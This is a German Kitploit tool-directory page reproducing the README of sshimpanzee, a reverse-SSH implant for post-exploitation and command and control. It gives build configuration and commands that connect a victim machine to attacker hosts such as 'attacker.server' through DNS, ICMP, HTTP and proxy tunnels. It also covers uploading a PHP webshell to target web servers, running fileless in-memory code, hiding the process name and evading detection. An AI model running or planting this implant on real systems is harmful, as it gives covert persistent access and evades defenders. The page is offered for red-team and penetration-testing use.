Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/lexfo/sshimpanzee
Payload-GenerierungPost-ExploitationNetzwerksicherheitCommand and ControlRed TeamingRemote-Access-ToolDNS-Analyse
GitHublexfo/sshimpanzee

sshimpanzee

SSHD-basiertes Implantat mit Unterstützung für Tunneling-Mechanismen zum Erreichen des C2 (DNS, ICMP, HTTP-Kapselung, HTTP/Socks-Proxies, UDP...)

Repository anzeigen
293298vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Webseite
Teilen

Sshimpanzee

Sshimpanzee ermöglicht es Ihnen, einen statischen Reverse-SSH-Server zu erstellen. Anstatt auf einem Port zu lauschen und auf Verbindungen zu warten, initiiert der SSH-Server eine Reverse-Verbindung zur IP des Angreifers, ähnlich wie eine normale Reverse-Shell. Sshimpanzee ermöglicht es Ihnen, alle Funktionen einer regulären SSH-Verbindung zu nutzen, wie Portweiterleitungen, dynamische SOCKS-Proxys oder einen FTP-Server.

Noch wichtiger: Wenn eine direkte Verbindung vom Opfer-Rechner zum Angreifer-Server nicht möglich ist, bietet es verschiedene Tunnelmechanismen wie DNS-Tunneling, ICMP-Tunneling oder HTTP-Einkapselung. Es unterstützt auch HTTP- und SOCKS5-Proxys. Ein technisches Paper ist auf dem Blog von lexfo verfügbar.

DOCKER-BUILD – EMPFOHLEN

root@kitploit:~
sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

Möglicherweise müssen Sie die Umgebungsvariable DOCKER_BUILDKIT=1 aktivieren.

Kompilierungsdatei

Der Build basiert auf der Datei build.yaml:

root@kitploit:~

###
# Dies ist die Build-Konfigurationsdatei von sshimpanzee
# YAML wird verwendet, um das Verhalten und die Funktionen von sshimpanzee zu beschreiben
###

### Allgemeine Konfiguration

process_name: "sshimpanzee" # Name des Prozesses, wie er in ps erscheint (Sie werden ihn jedoch nicht mit diesem Namen beenden können)


banner: True # Soll das Banner beim Log angezeigt werden
verbose: 3 # Ausführlichkeitsstufe, wie in build/build.log geschrieben

shell: "/bin/sh" # Standard-Shell für den Benutzer, die /etc/passwd-Einträge mit false oder nologin als Shell umgeht
timer: 60*1000*1000  # Zeit in Millisekunden, bevor ein neuer sshimpanzee-Kindprozess nach dem Beenden gestartet wird. Im sock-MODE wird z.B. eine neue sshd-Verbindung 1 Minute nach dem Ende der vorherigen hergestellt.

keygen: True # Generiere Schlüssel während des Builds neu, stelle sicher, dass neue HOST- und CLIENT-Schlüssel verwendet werden
public_key: # Wenn keine neuen Schlüssel generiert werden, kann ein öffentlicher Client-Schlüssel zur Authentifizierung angegeben werden (nur ed25519-Schlüssel werden unterstützt)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Auf True belassen, wenn das Builder-Skript die sshd-Binärdatei generieren soll
force_clean_build: True # Derzeit für Docker-Builds erforderlich, zwingt das Builder-Skript zur Neukompilierung von Tunneln und Abhängigkeiten
reconf: True # Für Docker-Builds erforderlich


### Umgebung
# sshimpanzee wird zur Laufzeit über Umgebungsvariablen konfiguriert. Es ist jedoch möglich, Umgebungsvariablen vorzubelegen, um ein Standardverhalten zu erhalten.


env:
  if_not_set : # Variablen hier werden gesetzt, wenn sie noch nicht existieren
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # Die Umgebungsvariable MODE wird verwendet, um den Standardtunnel zu verwalten
  overwrite: # Variablen hier überschreiben bereits vorhandene
    

### Tunnel
# sshimpanzee bietet verschiedene Tunnelmechanismen
# Um die Kompilierungszeit zu verkürzen und vor allem eine leichtere Binärdatei zu erhalten, können einige Tunnel ein- oder ausgeschlossen werden
# Tunnel-Kompilierungsparameter können hier angegeben werden
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # Soll der entsprechende ICMPTunnel-Server gebaut werden
      raw_sock: False # Mit Unterstützung für raw sock für ältere Kernel bauen

  http_enc :
      enabled: True
      key: # Webshell-Schlüssel, leer führt zur Generierung eines neuen Schlüssels
      target:
        - "php" # Liste der Sprachen, für die Webshells generiert werden sollen
      path_fd: "/dev/shm/sshim" # Fifo, das sshimpanzee zur Kommunikation mit Webshells verwendet

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP-Ressource
      key: sshimpanzee # DNS2TCP-Schlüssel
      obfuscate: True # DNS2TCP-Magischer-String verschleiern, dies erzwingt den Build des entsprechenden Servers
      buildserv: False 
      qtype: TXT # Von DNS2TCP verwendeter Abfragetyp

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh-Subsysteme
# man sshd_config Subsystems

subsystems:

  internal_sftp: # Standard-SFTP, wie von OpenSSH bereitgestellt
    enabled: True # Erforderlich für scp und sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee-Benutzerdefiniertes Subsystem
    enabled: True # Remote-Ausführung mit der fileless-memfd-Technik
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # Beispiel eines standardmäßigen SSH-Subsystems
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

Verwendung

Zur Laufzeit wird die sshimpanzee-Binärdatei über Umgebungsvariablen konfiguriert. Die Variable MODE ermöglicht es dem Benutzer, zwischen kompilierten Tunneln zu wählen. Jeder Tunnel kann über Umgebungsvariablen konfiguriert werden. Um beispielsweise eine klassische Reverse-Verbindung zu 127.0.0.1:8080 herzustellen, verwenden Sie Folgendes:

root@kitploit:~
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

Es ist möglich, sshimpanzee im Debug-Modus mit -d auszuführen. Im Debug-Modus bleibt sshimpanzee im Vordergrund.

Tunnel

Derzeit unterstützt sshimpanzee mehrere Möglichkeiten, wie der Implant den Angreifer-SSH-Client erreichen kann:

  • DNS-Tunneling mit dem dns2tcp-Protokoll
  • Proxy: HTTP/SOCKS4/SOCKS5
  • Sockets: (kann nützlich sein, wenn Sie Ihre eigenen Tunnel implementieren möchten)
  • ICMP-Tunnel
  • HTTP-Einkapselung

Sock-Verbindung

  1. SSH auf Client-Seite wie folgt ausführen:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. sshimpanzee auf dem Ziel ausführen:
root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

Weitere Beispiele:

root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # Binden und Lauschen auf 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Verbindung zum Unix-Socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Binden und Lauschen auf dem Unix-Socket /tmp/sock

Verbindung über Proxy

  1. SSH auf Client-Seite wie folgt ausführen:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. sshimpanzee auf dem Ziel ausführen:
root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

Weitere Beispiele:

root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

DNS-Tunneling verwenden

  1. Führen Sie auf Ihrem Server den standardmäßigen dns2tcpd mit der Konfigurationsdatei aus diesem Repository aus. Sie müssen die Domain (und ggf. den Ressourcen-Port) anpassen.
root@kitploit:~
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
root@kitploit:~
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. SSH auf Client-Seite wie folgt ausführen:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Die sshimpanzee-Binärdatei ausführen:
root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

Weitere Beispiele:

root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Erzwingt die Verwendung des DNS-Resolvers 8.8.8.8

ICMP-Tunneling verwenden

  1. Fügen Sie auf Ihrem Server die entsprechenden Capabilities hinzu, um das Ausführen des ProxyCommand als root zu vermeiden, und deaktivieren Sie die Ping-Antwort des Systems:
root@kitploit:~
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
  1. Führen Sie den standardmäßigen SSH-Client mit icmptunnel als ProxyCommand aus:
root@kitploit:~
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT
  1. Die sshimpanzee-Binärdatei ausführen:
root@kitploit:~
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee

HTTP-Einkapselung verwenden (ssh -> http server -> sshd)

  1. Laden Sie die Dateien /tuns/http_enc/proxy.php und sshd auf Ihren Ziel-Webserver hoch.

  2. Stellen Sie sicher, dass proxy.php korrekt ausgeführt wird.

  3. Führen Sie die sshd-Binärdatei auf dem Webserver aus:

root@kitploit:~
MODE=http_enc ./sshimpanzee
  1. SSH auf dem Client-Rechner mit dem Python-Skript in utils/scripts/ als ProxyCommand ausführen:
root@kitploit:~
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT

Dem proxy_cli.py können mehrere Argumente übergeben werden, um Proxys hinzuzufügen. Derzeit wird nur PHP unterstützt. Auf einem JSP-Server wird empfohlen: A Black Path Toward The Sun (ABPTTS)

Randnotizen zur HTTP-Einkapselung

  1. proxy.php ist eine minimale Webshell. Sie können sie verwenden, um sshd auf den Server hochzuladen und Befehle auszuführen. proxy_cli.py bietet die Optionen --run und --drop dafür.

  2. Möglicherweise tritt eine große Eingabeverzögerung auf. Dies liegt daran, dass dem vom SSH-Client gesendeten Paket eine Verzögerung von 1 bis 5 Sekunden hinzugefügt wird, um zu viele HTTP-Anfragen zu vermeiden. Wenn es Ihnen nichts ausmacht, viele HTTP-Anfragen (und damit viele Logs auf dem Webserver) zu generieren, fügen Sie die Option --no-buffer zum proxy_cli.py-Befehl hinzu.

Verwenden des sshimpanzee-Clients

Dieses Repository enthält auch einen Client im Verzeichnis utils/client/bin. Kopieren Sie einfach den CLIENT-Schlüssel in utils/client/keys/

root@kitploit:~
sshimpanzee --new PORT # Erstellt einen neuen Listener auf PORT
sshimpanzee --new-dns # Erstellt einen neuen DNS-Listener (Vergessen Sie nicht, utils/client/config/dnsconf.txt zu ändern)
sshimpanzee --new-icmp # Erstellt einen neuen ICMP-Listener
sshimpanzee --new-http PROXY_PHP_URL # Erstellt eine neue HTTP-Sitzung

sshimpanzee --list # Listet verfügbare Sitzungen auf

sshimpanzee --get SESSION_NUMBER # In eine Sitzung springen; zusätzliche Parameter werden als SSH-Parameter übergeben
sshimpanzee --rename SESSION_NUMBER # Um eine Sitzung umzubenennen
sshimpanzee --kill SESSION_NUMBER # Um eine Sitzung zu beenden
sshimpanzee # Verwendet fzf, um die gewünschte Sitzung auszuwählen

Es kann jedoch weniger zuverlässig sein als die direkte Verwendung von SSH.

Erstellen Sie Ihren eigenen Tunnel-Mechanismus

Alle Tunnel sind im Verzeichnis tuns/ verfügbar. Wenn Sie einen weiteren Tunnel hinzufügen möchten, fügen Sie einfach eine Funktion mit dem Namen Ihres Tunnels in tuns/builder.py hinzu. Diese Funktion ist dafür verantwortlich, ein libtun.a-Archiv zu generieren, das so viele .o-Dateien wie nötig enthält, wobei eine davon ein tun()-Symbol exportiert. Alternativ können Sie libtun.a selbst bauen und den Tunnel namens no_build verwenden, indem Sie den Pfad zu Ihrer benutzerdefinierten libtun.a angeben.

Dateilose Ausführung verwenden

Wenn sshimpanzee mit dem remote-exec-Subsystem-Modul gebaut wurde, ist es möglich, Code remote vollständig im Speicher auszuführen.

root@kitploit:~

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

Zukünftige Arbeit

  • Weitere Tunnel hinzufügen:
    • HTTP-Einkapselung (Erster Schritt über http_enc und proxy.php: JSP und andere Programme hinzufügen)
    • Userland-TCP/IP-Stack mit raw sock?
    • ICMP: Xor/Verschlüsseln von Zeichenfolgen zur Erkennungsvermeidung bei Netzwerkanalyse
    • Subsystem für Post-Exploitation:
      • Procdump
      • TCP-Scan

Danksagung

Dieses Repository stützt sich auf viele verschiedene Projekte.

  • Zuallererst auf Openssh-portable (9.1): https://github.com/openssh/openssh-portable
  • Die musl-Libc, um es statisch zu bauen: https://wiki.musl-libc.org/

Für die Tunnel:

  • Dns2tcp: https://github.com/alex-sector/dns2tcp
  • icmptunnel (stark modifiziert, um die Tunnelresilienz zu verbessern): https://github.com/DhavalKapil/icmptunnel.git
  • Proxysocket: https://github.com/brechtsanders/proxysocket

Es ist wichtig zu beachten, dass es sich nicht um ein sehr originelles Projekt handelt. Die Bewaffnung des SSH-Protokolls wurde bereits vor mehreren Jahren durchgeführt:

  • https://github.com/Marc-andreLabonte/blackbear
  • https://github.com/Fahrj/reverse-ssh
  • https://github.com/NHAS/reverse_ssh
Tool herunterladen